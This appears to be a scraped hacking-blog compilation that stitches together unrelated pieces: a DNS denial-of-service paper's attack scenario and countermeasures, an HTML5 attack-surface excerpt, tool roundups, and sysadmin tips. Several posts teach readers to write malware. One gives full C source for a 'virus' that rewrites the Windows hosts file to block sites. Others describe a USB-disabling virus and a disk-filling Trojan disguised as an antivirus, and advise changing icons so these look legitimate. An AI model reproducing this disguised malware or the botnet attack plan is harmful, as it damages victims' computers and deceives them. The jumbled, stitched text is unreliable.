As described above, this attack method can be very effec­tive when using mul­ti­ple pre-​registered domains and com­bin­ing the spam mes­sage sender and orig­i­nat­ing sys­tem. Since the bot­net can be used to a var­i­ous tasks, the attacker has the pos­si­bil­ity to com­bine pre­vi­ously known attack meth­ods with the new approach. Attack­ing the big­ger tar­gets, for exam­ple the root servers, can require a high demand for the band­width. The bot­net itself must not be enough suf­fi­cient to dis­rupt the oper­a­tion, because it is lim­ited by the client con­nec­tiv­ity. The white horse sys­tems have a very good band­width because of their func­tion as the MX sys­tems. The Denial of Ser­vice attack per­formed with fol­low­ing sce­nario could be suc­cess­ful in attack­ing the root servers:

The attacker will pre­pare many bogus domains and a mas­sive spam campaign

Bot­net of more than 50.000 bots will send the spam mes­sages to more than 100 white horse sys­tems with good band­width and on the same time cause the DNS flood­ing by means of send­ing ICMP mes­sages, TCP SYN, or even per­form­ing a ran­dom DNS queries on the server to keep it busy. Num­ber of the spam mes­sages being sent for each domain can be sim­ply cal­cu­lated as [bot­net count]x[white horse sys­tems count], when con­sid­er­ing that each bot sends just one mes­sage per white horse system.

By care­ful obser­va­tion what domains were already black­listed on which SMTP server, the attacker can change the sender’s domain in the spam cam­paign and con­tinue, the white horse sys­tems will again per­form queries for another domain and con­tinue the flood with the DNS requests. On the same time still the bot­net will per­form the DNS flood­ing. With each domain the tar­get sub­ject can be changed to affect as much tar­gets as possible.

Pos­si­ble countermeasures

While research­ing for any pro­tec­tive coun­ter­mea­sures against this attack method, we were suc­cess­ful to find a solu­tion block­ing the DNS flood­ing as it was per­formed in the year 2006 or 2007. Unfor­tu­nately there is no strat­egy avail­able to mit­i­gate the sole DoS attack via white horse systems.

We were con­sid­er­ing the mod­i­fi­ca­tion of the black­list­ing method but this could cause that a sin­gle domain is black­listed com­pletely. Another solu­tion could be the domain rep­u­ta­tion sys­tem, where only allowed domains could send e-​mail mes­sages. The process and the eval­u­a­tion would be very complicated.

The only viable solu­tions as we see it from our point of view are

to tighten the rules when reg­is­ter­ing the domains. Cur­rent sit­u­a­tion allows var­i­ous crim­i­nal activ­i­ties where domains are mis­used: start­ing from the cyber squat­ting, huge vol­ume domain reselling, pre-​registering the domains for the spam pur­poses and other.

to update the stan­dards for SMTP and DNS, as it has to reflect this kind of the attack.

As a pos­si­ble solu­tions we can con­sider the use of the faster imple­men­ta­tion of a DNS server or putting the DNS server into the cloud, but these solu­tions are not suit­able for every DNS server.

Con­clu­sions

We described above a new way of the Denial of Ser­vice attack. We do believe this method of the attack poses an increased risk to all the DNS servers as there are no pro­tec­tive coun­ter­mea­sures avail­able. The seri­ous­ness of the sit­u­a­tion is under­lined with the fact that this kind of attack was observed on the Inter­net as fully working.

There is also a place to overview the RFC2821 as it does not reflect this kind of the attack. We do hope, that the com­mu­nity of the secu­rity researchers is strong enough (even often filled with unhealthy com­pe­ti­tion) and proper solu­tion will be avail­able soon. Any­way, we would like to use this paper and issue a call to the emer­gency response teams around the world as well as their coor­di­nat­ing orga­ni­za­tion FIRST (as they will have to han­dle such kind of the attack) to cre­ate strong pres­sure on the Inter­net author­i­ties to finally stop the cyber crim­i­nal busi­ness with the domains. We all should have a com­mon tar­get – to make the Inter­net be a safer place.

At this time, we are estab­lish­ing the team of researchers will­ing to par­tic­i­pate in the pos­si­ble solu­tions. If you want to join us, write to minor[at}zone-h{dot]org .

satu benda yang menajubkan

mula - mula susah nak percaya.bila cube dengan dorongan yang diberikan akhirnya berjaya
nak tahu ape die klik ni

HTML 5 – expansion of att ack surface and possible abuses

HTML 5 with its implementation across the browsers has
given a new face to the threat model. There are various new
openings and entry points that lure an attacker to craft
variants for existing attack vectors and successfully abuse
the security. As show in Figure 3 the several components of



HTML 5 can be divided into four segments – presentation,
process/logic, network access and policies.
• Enhanced event model, tags, attributes and a thick set
of advanced features can cause the crafting of attack
vectors like ClickJacking and XSS
• DOM and browser threads can be abused with DOM
based XSS, redirects, widgets/mashup attacks
• Storage and WebSQL can be exploited by poisoning and
stealing the same
• WebSockets, XHR and other sockets can be abused too
• Same Origin Policy (SOP) can be attacked with CSRF
using various streams
Based on the above threat model and attack surface
synopsis the following are some interesting attack vectors.
16 HITB Magazine I JUNE 2011

TQ MEGAZINE HITB

Next Generation Attack

The blend of DOM L3 (Remote Execution stack),
XHR L2 (Sockets for injections) and HTML5 (Exploit
delivery platform) is all set to become the
easy stage for all attackers and worms. We have
already witnessed these types of attacks on popular
sites like twitter, facebook or yahoo. Hence the need of
the hour is to understand this attack surface and the
attack vectors in order to protect next generation
applications. Moreover this attack surface is expanding
rapidly with the inclusion of features like audio/video tags,
drag/drop APIs, CSS-Opacity, localstorage, web workers,
DOM selectors, mouse gesturing, native JSON, cross site
access controls, offline browsing etc. This expansion of
attack surface and exposure of server side APIs allows the


attacker to perform lethal attacks and abuses such as:
• XHR abuse alongwith attacking Cross Site access controls
using level 2 calls
• JSON manipulations and poisoning
• DOM API injections and script executions
• Abusing HTML5 tag structure and attributes
• Localstorage manipulations and foreign site access
• Attacking client side sandbox architectures
• DOM scrubbing and logical abuse
• Browser hijacking and exploitations through advanced
DOM features
• One-way CSRF and abusing vulnerable sites
• DOM event injections and event controlling
(Clickjacking)
• Hacking widgets, mashups and social networking sites
• Abusing client side Web 2.0 and RIA libraries
HTML 5 on the rise – reshaping
the RIA space
Web applications have traveled a significant distance
in the last decade. Looking back, it all started with CGI
scripts and now we are witnessing the era of RIA and
Cloud applications. Also, over these years existing
specifications evolved to support the requirements
and technologies. To cite an instance, in the last few
years Flex and Silverlight technology stacks have not
only come up but also continued to evolve to empower
the browser to provide a rich Internet experience. To
compete with this stack the browser needed to add
more native support to its inherent capabilities. HTML 5,
DOM (Level 3) and XHR (Level 2) are new specifications
being implemented in the browser, to make applications
more effective, efficient and flexible. Hence, now we
have three important technology stacks in the browser
and each one of them has its own security weaknesses
and strengths (Figure 1).



HTML 5 has caused the underlying browser stack
(application layer especially) to change on many fronts.
Moreover, it has added the following significant new
components to support application development.
• Support for various other technology stacks through
plugins (Silverlight and Flash)
• New tags and modified attributes to support media,
forms, iframes etc.
• Advance networking calls and capabilities from
XMLHttpRequest (XHR) object – level 2 and WebSockets
(TCP streaming).
• Browsers’ own storage capabilities (Session, Local and
Global)
• Applications can now run in an offline mode too by
leveraging the local database which resides and runs in
the browser, known as WebSQL.
• Powerful Document Object Model (DOM – Level 3) to
support and glue various browser components and
technologies.
• Sandboxing and iframe isolations by logical
compartments inside the browser.
• Native support in the browser or through plugins for
various different data streams like JSON, AMF, WCF,
XML etc.
• Drag and Drop directly in the browser made possible to
make the experience more desktop friendly.
• Browsers’ capabilities of performing input validations to
protect their end clients.

A Virus Program to Block Websites

ost of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}


How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?

How to Change the ICON of an EXE file

Some times it becomes necessary to change the ICON of an executable (.exe) file so that the exe file get’s a new appearence. Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to the user. But in reality when the file is carried to a different computer, then it shows it’s original ICON itself. This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself. Now when this is done the exe file’s ICON is changed permanantly so that even if you take file to a different computer it show’s a new icon.

For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie: The tool changes the exe ICON permanantly.

I’ll give you a step-by-step instruction on how to use this tool to change the icon.

1. Goto www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).

2. Right-click on the exe file whose ICON is to be changed.

3. Now you will see the option Change Icon. Click on that option.

4. Now the Icon Changer program will open up.

5. Icon changer will search for all the ICONS on your system so that you can select any one of those.

6. Now select the ICON of your choice and click on SET.

7. Now a popup window will appear and ask you to select from either of these two options.

Change embeded icon.
Adjust Windows to display custom icon.
Select the first option (Change embeded icon).

8. You are done. The ICON get’s changed.

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. download the USB_Block.rar file on to your computer.

2. It contains the following 4 files.

block_usb.c (source code)
unblock_usb.c (source code)
3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

I hope you like this post. Please pass your comments.

Hack BSNL Broadband for Speed

If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:

208.67.222.222
208.67.220.220

Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features. After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.

How to Hack Windows Administrator Password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.

Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.

. You do not need to know the old password to set a new one
. Will detect and offer to unlock locked or disabled out user accounts!
. There is also a registry editor and other registry utilities that works under . . linux/unix, and can be used for other things than password editing.

How it works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below

Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.


Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)

2. Now type net user and hit Enter

3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows

4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

How to Make a Trojan Horse

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…

Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan

The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows

1. Search for the root drive

2. Navigate to WindowsSystem32 on the root drive

3. Create the file named “spceshot.dll”

4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full

5. Once the drive is full, stop the process.

You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable

How to compile, test and remove the damage?

Compilation:

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing:

To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%\system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?

Please pass your comments and tell me your opinion. I am just waiting for your comments…

BeEF- Browser Exploitation Framework

Technology has no end and has no boundary, we have discussed different web and network vulnerability scanning tools and techniques to exploit something, beside vulnerability scanning tools there are different way and tools available for exploiting, you might hear about server side exploit but what if someone exploitation your browser, yes you must care about your browser too.
Below is the small study on browser exploitation, that would really help you to increase your knowledge and skills.


In general browser exploitation means to take advantage of vulnerability in the software (may be OS) to change and alter browser setting without the knowledge of the user. There are different techniques and tools available but this time we will talk about BeEF, the best browser exploitation framework.


BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target, BeEF hooks one or more web browsers as beachheads for the launching of directed command modules. The framework allows the penetration tester to select specific modules (in real-time) to target each browser.

download

Tutorial
Well you can get so many tutorial from the official website of BeEF, click here to learn.
BeEF is also available of backtrack so if have an expertise of backtrack platform you might know about it.

MySharpSQL 1.1 Publisher's description

Learn from ebook and well commented source codes, the easy way to use MySQL with C#. In addition to the ebook, this package contains a real world .NET program that allows you to manage a collection of MySQL and C# programming tips and tricks. This program implements C# codes that show you how to add new records, edit existing records, delete selected records and search for specific records. Included with both the demo version and the full version is a SQL file of sample data for you to import into a MySQL server. The sample data contains several common MySQL and C# programming references.

MySharpSQL eBook Chapters include:
Introduction
Chapter 1: MySQL Server, SQLyog and Connector/Net 1.0
Chapter 2: MySharpSQL: Beginning Project Work
Chapter 3: MySharpSQL Database Table Creation
Chapter 4: Building the MySharpSQL Alpha Version
Chapter 5: MySharpSQL Alpha Testing and Program Refinements
Chapter 6: MySharpSQL Second Phase Alpha Testing and Documentation
Chapter 7: Prepare MySharpSQL Beta Version for Release

FREE UPGRADE for registered buyers: Download the next version for free when it is released.

BONUS for registered buyers: For a limited time only!
You will also get to download two additional versions of this program that you can compile using Visual C# 2005 Express edition and SharpDevelop.

Order easily online using your credit card through our Secure Online Ordering System
We accept major credit cards: Mastercard, VISA, Discover and American Express.

Requirements: .Net runtime version 1.1 or later

Download MySharpSQL 1.1 (298.69 KB)

Ten Essential Tools for Linux Administrators

They say a good manager always brings Linux tools to facilitate their hard work. A set of applications that can access again and again. In this connection, Linux Magazine did a top 10 compiled applications that you can not miss any administrator of GNU/Linux.

All System Administrator, or SysAdmin needs a set of tools with which to manage your systems and office environments. These ten essential tools provide excellent support for Linux system administrators. Note that this standard is not ready or anything, just a compiled application that have demonstrated a history and have stood test of time in data centers.

Then we bring these ten tools for free use.

1 - Webmin:
This is a web-accessible application for configuring Unix-like systems like GNU/Linux and OpenSolaris. With it you can configure internal aspects of a system as users and share space, services, configuration files off computer, as well as modify and control various services such as Apache, PHP, MySQL, DNS, Samba, DHCP, etc. .

Official Website

2 - Byobu:
According to official website of this project, Byobu is a Japanese term used to define decorative screens, or screens. " But going to application itself, Byobu provide to us or "add" additional information on our computer, operating system version installed, among others, such as disk space, hardware information, etc., to terminal or console.

web

3 - TcpDump:
A tool that runs on terminal and used to analyze traffic flowing through network. Capturing and displaying real-time packets transmitted and received on network to which our equipment is connected.

web


4 - Virtual Network Computing:
VNC, in its various incarnations (TightVNC, UltraVNC, RealVNC) has become one of most recognized tools accessible and used by system administrators. VNC is very simple to install, easy to set up and available for almost all operating systems.

5 - Gparted:
Gnome Partition Edition Or Gparted is a tool that can be initiated on our team from LiveCD or LiveUSB. With it you can create, delete and modify partitions on hard drives. Is capable of running on all systems and file structures available today.

web

6 - DenyHosts:
This is a script made in Python that allows you to monitor actively attempts unauthorized connections to our system, and then deny access to system.

web

7 - Nagios:
Nagios is a complex tool monitors network. Is able to handle a variety of hosts, services and protocols. Nagios is a professional tool and essential for all networks, regardless of their size and complexity. With this tool you can monitor, alert, resolve and report network problems.

web

8 - Linux rescue CDs:
There are several rescue CDs for tasks or situations are unimaginable. But of them all, three more remarkable: The Ubuntu Rescue Remix, Parted Magic and GRML.

The Ubuntu Rescue Remix is a data recovery based command line compilation tools and forensic analysis (LiveCD or LiveUSB). Parted Magic is a super diagnostic and rescue CD contains extensive documentation. GRML is a live CD based on Debian that contains a collection of tools for system administrator, to rescue system, social network analysis as a Linux distribution.

9 - Dropbox:
It's a file hosting service platform in cloud, the company operated by Dropbox. The service allows users to store and synchronize files online and between computers and share files and folders with others.

web


10 - Darik's Boot and Nuke (DBAN)
It is a LiveCD that can clean entire contents of hard drives. Dban are his initials (Darik's Boot And Nuke) to this program that ensures a secure deletion of all hard drives.

Check Status Hardware In Solaris

i want share to all a command basic in Solaris.this command to check status hardware in sun server


/usr/platform/sun4u/sbin

/usr/platform/`uname -i`/sbin/prtdiag

Top 6 Ethical Hacking Tools

Automatic tools has changed the world of penetration testing/ethical hacking, IT security researcher has been developed and currently developing different tools to make the test fast, reliable and easy.
Just consider the world without automatic tools, you can easily say that the hacking process is slow and time consuming.
We have discussed different tools before but in this article we summarise the best tools that are widely used in the world of hacking.

Nmap
===
No words for the Nmap, Nmap is a best tool ever that are used in the second phase of ethical hacking means port scanning, Nmap was originally command line tool that has been developed for only Unix/Linux based operating system but now its windows version is also available and ease to use. It is use for Operating system fingerprinting too for more information click here to learn.

Nessus
======
Nessus is the world most famous vulnerability scanner, Nessus has been developed by Tenable network security, it is available for free of cost for non-enterprise environment means for home user. It is a network vulnerability scanner and use for finding the critical bugs on a system. Click here to learn more about Nessus.

Nikto
=====
Nikto is a free and open source tool, It checks for outdated versions of over 1000 servers, and version specific problems on over 270 servers, It find out the default files and programs. It is a best tool for web server penetration testing. Click here to learn more about Nikto.

Kismet
======
Now a days Wardriving or Wireless LAN(WLAN) hacking is in market and different companies hire penetration tester for doing test on wireless network, this test requires some tools, so Kismet is a best choice for do this. Kismet identifies networks by passively collecting packets and detecting networks, which allows it to detect (and given time, expose the names of) hidden networks and the presence of non-beaconing networks via data traffic.

MetaSploit
==========
The best tool ever, Metasploit contain a database that has a list of available exploit and it is easy to use and best tool for doing penetration testing, Metasploit framework is a sub project and is use to execute exploit code against a machine and get the desire task done. Click here to learn more


NetStumbler
===========
Once again for wardriving, well netstumbler are available for windows based operating system, it works on windows based operating system.It can detect WiFi that is IEEE 802.11b, 802.11g and 802.11a networks. MiniStumbler is also available and works on Windows CE based system.

DEFT Linux- Computer Forensic Live CD

As discussed so many tools and tutorial on penetration testing to make the network or a specific server more and more secure, but what if something wrong occur on the server and in case if an organisation will loss some sort of data (means if an organisation will hack and loss some important data). Yes this may be occur, it may happen because an attacker more smart than a penetration tester.

So after this the time is to catch the hacker, for this purpose you need a forensic tools, so in this article we will discuss about DEFT Linux a complete distro for forensic purposes. DEFT Linux is based on the new Kernel 2.6.35 (Linux side) and the DEFT Extra 3.0 (Computer Forensic GUI) with the best freeware Windows Computer Forensic tools.

DEFT Linux normally used by Police, System administrator, investigators and all the individual who wants to use forensic tools with open source distro.
DEFT Linux is 100% made in Italy and it is a best free and open source applications dedicated to incident response and computer forensics.

It contains a list of tools that are widely used in the process of digital forensic, a brief overview of the tools is as follows:

•sleuthkit 3.2.0, collection of UNIX-based command line tools that allow you to investigate a computer
•dhash 2.0.1, multi hash tool
•photorec 6.11, easy carving tool
•outguess 0.2 , a stegano tool
•Wireshark 1.2.11, network sniffer
•ettercap 0.7.3, network sniffer
•nmap 5.21, the best network scanner
•ophcrack 3.3.0, Windows password recovery
•IE, Mozilla, Opera and Chrome history viewer
•IE, Mozilla, Opera and Chrome cache viewer
•And more click here learn about.

download

show icon desktop in quick lunch ic0n

Let me fix it myself
To re-create the Show desktop icon yourself, follow these steps:
Click Start, click Run, type notepad in the Open box, and then click OK.
Carefully copy and then paste the following text into the Notepad window:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
On the File menu, click Save As, and then save the file to your desktop as "Show desktop.scf". The Show desktop icon is created on your desktop.
Click and then drag the Show desktop icon to your Quick Launch toolbar.
Information for advanced users

The Quick Launch toolbar uses the files in the following folder:

%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch

Kismet- A Wireless Sniffer

Wardriving a act for searching and locating the access points (APs), as discussed on the wardriving article about the importance of wireless sniffer. These tools use to find out the wireless network, just like netstumbler for windows and Kismac for MAC, there is a Kismet for Linux. Purpose is same to sniff the wireless LAN and try to get maximum information about that network.

Kismet is a wireless network detector and sniffer and it works with any wireless card (NIC card) which supports raw monitoring mode.
Kismet identifies networks by passively collecting packets and detecting networks, which allows it to detect (and given time, expose the names of) hidden networks and the presence of non-beaconing networks via data traffic.

Download

The single need to run Kismet is Linux OS, this may be a Ubuntu, backtrack or any other, however it can be applicable on windows but this time we consider only Linux, you can get Kismet from here and the second way is via terminal, open terminal and type,


sudo apt-get install kismet

Kismet Tutorial

After installation you need to configure Kismet now open terminal and type exactly.

sudo gedit /etc/kismet/kismet.conf

Now create the username for login to Kismet window,

suiduser=your_username_here

Now at this stage you have to tell the kismet about the source of wireless adapter to use. The command is

source=type,interface,name

and in my case

source=prism,wlan0,hostap

If you don’t know your relevant network driver, view the Kismet Readme and scroll down to the section “12. Capture Sources”.
Now start Kismet by the following command.

sudo kismet

hehehe...rox!!!

5 Top Linux Distro For Web Server

Web server delivers a web page on the Internet, the whole website must be hosted on a web server, there are different software's (Programs) available for doing the job, but what operating system is good for hosting a web site. If you are a web master or if you are planing to host a web site than you must choose Linux as a operating system because of its high security and reliability over windows.

Red Hat Enterprise Linux


Red Hat Enterprise Linux is an enterprise platform well-suited for a broad range of applications across the IT infrastructure. For web servers RHEL is a good choice because of its high security and reliability for data centre, Red Hat Enterprise Linux 6 provides operating system control for platforms to have enhanced system power management, and end-to-end data integrity.

Gentoo


Gentoo is a highly flexible Unix like operating system, it can be automatically optimised and customised for just about any application or need. Extreme configurable, performance and a top-notch user and developer community are all hallmarks of the Gentoo experience.

SUSE Linux Enterprise Server



SUSE Linux enterprise server is highly secure, reliable and scalable operating system. It provides Simplified administration, development and systems management, Cross-platform vulgarizations, Interoperability with other platforms and more.



Centos


Centos or The Community Enterprise Operating System, is the perfect operating system for web servers, CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. It is available on no cost. Highly technical support available for CentOS.

Debian



Debian is a free operating system, it uses Linux kernel and all the tools come from the GNU project so it is Linux/GNU based operating system, it supports a wide range of computer architecture for 32 bit and 64 bit. It comes with over 29000 packages, precompiled software bundled up in a nice format for easy installation on your machine

Microsoft Standalone System Sweeper for Offline Scan and Start Unbootable PC

After releasing two free anti-virus tools, Microsoft Safety Scanner and Microsoft Security Essentials, Microsoft has also released a beta version of recovery tool that can help the users to start their infected PC when all other anti-virus solutions failed. The Microsoft recovery tool is called as Microsoft Standalone System Sweeper, which is being designed to reboot the infected PC and perform an offline scan to help identify and remove rootkits as well as other advanced malware. Besides working as a recovery tool, it also can be used when the installed anti-virus solutions can’t be started, and detect or remove malware on the PC.



Microsoft Standalone System Sweeper Beta is not a replacement for a full antivirus solution that provides ongoing real-time protection. In fact, the software intends to be kind of last resource to be used in situations where you cannot start your PC due to a virus or other malware infection.

o create a bootable media which can be used to recover a PC, users need to prepare a blank CD, DVD or USB drive with at lease 250MB of space to allow Microsoft Standalone System Sweeper to install necessary files. In addition, to use the bootable media to recover a PC, the bootable media must have same system http://www.blogger.com/img/blank.gifarchitecture (32-bit or the 64-bit) as the Windows operating system of the computer infected with a virus or malware.

Microsoft Standalone System Sweeper Beta supports Windows XP Service Pack 3, Windows Vista (RTM, Service Pack 1, or Service Pack 2, or higher) and Windows 7 (RTM, Service Pack 1, or higher).

Download Microsoft Standalone System Sweeper here